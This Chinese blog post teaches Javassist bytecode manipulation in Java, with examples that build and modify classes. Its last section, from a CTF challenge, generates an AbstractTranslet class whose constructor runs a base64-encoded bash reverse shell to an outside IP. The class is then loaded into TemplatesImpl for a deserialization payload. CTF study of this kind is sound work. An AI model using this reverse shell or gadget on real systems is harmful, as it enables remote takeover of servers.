可能有人感觉自己写在博客上的java跨度太大了,其实是因为大多数的java笔记都写在本地上了。。。今天来点基础的
Javassist
javassist是在java中编辑字节码的类库,它能够动态地定义一个新类,然后在JVM加载的时候修改类文件。它的原理和反射类似,但是开销相对较低
常用的api/类
ClassPool
通过ClassPool来创建一个类。
返回一个默认的ClassPool,一般取变量名为pool
- appendClassPath,insertClassPath
将一个ClassPath加载到类搜索路径的末尾位置,通过此方法写入额外的类搜索路径,避免在多个类加载器中找不到类
通过类路径名获取到该类的CtClass
对象(获取类对象,常用于superClass,也就是类的继承上)
创建一个新的类
常用的创建类的方法就是这样:
1 2
| ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a");
|
CtClass
- freeze:冻结一个类,使其不可被修改
- isFrozen:判断一个类是否被冻结
- deforst:解冻一个类,使其可以被修改。如果一个类要被deforst,则会禁止调用prune方法
- prune:删除类不必要的属性,以减少内存占用,慎用此方法,因为调用之后会导致许多方法无法正常使用
- detach:删除class
- writeFile:根据生成的class,将class写入到.class文件内
- toClass:通过类加载器加载Class
CtMethod
- insertBefore:在方法的起始位置插入代码
- insertAfter:在方法的所有return语句前插入代码
- insertAt:在指定位置插入代码
- setBody:将方法的内容设置为要写入的代码,当方法被Abstract修饰的时候,该修饰符会被移除
- make:创建一个新的方法
CtConstructor
创建类的构造方法:
1
| CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
|
-
setBody
:构造方法内写入代码
-
addConstructor
:将构造方法写入类中
实例
创建一个Hello类
1 2 3 4 5 6 7 8
| public class Demo1 { public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException { ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.makeClass("Javassist.Hello"); ctClass.writeFile(); } }
|
这样会将这个类生成到Javassist/Hello.class
往Hello类中添加属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.JavassistDemo;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtField; import javassist.Modifier;
public class Demo { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Javassist.Hello");
CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass); nameField.setModifiers(Modifier.PUBLIC); ctClass.addField(nameField, CtField.Initializer.constant("Err0r233"));
ctClass.writeFile(); } }
|
往Hello类中添加方法
设置返回类型:
1 2 3 4 5 6 7 8 9
| public static CtClass booleanType; public static CtClass charType; public static CtClass byteType; public static CtClass shortType; public static CtClass intType; public static CtClass longType; public static CtClass floatType; public static CtClass doubleType; public static CtClass voidType;
|
发现其实并不支持String类型。所以如果要返回String类型,需要设置成pool.getCtClass("java.lang.String")
设置空方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.JavassistDemo;
import javassist.*;
public class Demo { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Javassist.Hello");
CtField nameField = new CtField(pool.get("java.lang.String"), "name", ctClass); nameField.setModifiers(Modifier.PUBLIC); ctClass.addField(nameField, CtField.Initializer.constant("Err0r233"));
CtMethod method = new CtMethod(CtClass.voidType, "MyHello",new CtClass[]{CtClass.intType}, ctClass); method.setModifiers(Modifier.PUBLIC); ctClass.addMethod(method);
ctClass.writeFile(); } }
|
添加方法体:
1
| method.setBody("System.out.println(\"This is test !\");");
|
前置插入和后置插入(可以拿setBody做比较):
1 2 3
| method.setBody("System.out.println(\"This is test !\");"); method.insertAfter("System.out.println(\"Insert after! var1 = \" + $1);"); method.insertBefore("System.out.println(\"This is insert before! \");");
|
注意,如果想要调用传入的var1,可以使用$i
符号,其中i=1
可以看到insertBefore的在test语句前面,而after的在test后面,而且成功输出了var1的值
往Hello类中添加构造函数
设置构造函数:
1 2 3
| CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("{name=\"Err0r233\";}"); ctClass.addConstructor(constructor);
|
设置了无参构造器
有参构造器设置如下:
1 2 3
| CtConstructor constructor1 = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, ctClass); constructor1.setBody("{$0.name = $1;}"); ctClass.addConstructor(constructor1);
|
修改已有的类
通过Classpool的get方法来获得已有的一个类,并且进行修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package Javassist;
import javassist.*;
import java.io.IOException;
public class Demo02 { public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException { ClassPool cp = ClassPool.getDefault(); CtClass ctClass = cp.get("Javassist.Test"); CtConstructor test = ctClass.getConstructors()[0]; test.setBody("{System.out.println(\"Changing......\");}"); ctClass.writeFile(); }
} class Test { public static String name = "aaa";
public Test() { System.out.println("This is test !"); } }
|
其实就是获取了一个Test类,然后将其的构造方法修改了
加载字节码
通过ctClass.toBytecode()
还有ctClass.toClass().newInstane()
常用修饰符
1 2 3 4 5 6
| $0,$1,$2,$3... $0代表this,其他的分别代表var1,var2...其实就是犯法参数的顺序
$args 一个Object数组,数组内是var1,var2....
$$,所有的方法参数,例如m($$)相当于m($1, $2, ...)
|
expr.MethodCall和ConstructorCall
通过MethodCall来找到对应关键字的方法
这里可以看S1nJa师傅的博客
我觉得这两个挺少用到的,所以就不展开了
Java基础—Javassist-CSDN博客
利用javassist缩短payload
在做D3CTF的shorter的时候发现了问题,如果利用TemplatesImpl
加载字节码的话payload会很长(利用EqualsBean来缩短的时候也有3300左右)
所以这个时候动态加载字节码就派上用场了,发现动态加载TemplatesImpl
会让payload缩短到1500:
1 2 3 4 5 6 7 8 9 10 11
| private static byte[] GenerateEvil() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\");"); ctClass.addConstructor(constructor); return ctClass.toBytecode(); }
|
1 2 3 4 5 6 7 8 9
| private static TemplatesImpl getTemplatesImpl() throws Exception{ byte[][] bytes = new byte[][]{GenerateEvil()}; TemplatesImpl templates = new TemplatesImpl(); SetValue(templates, "_bytecodes", bytes); SetValue(templates, "_name", "aaa"); SetValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
|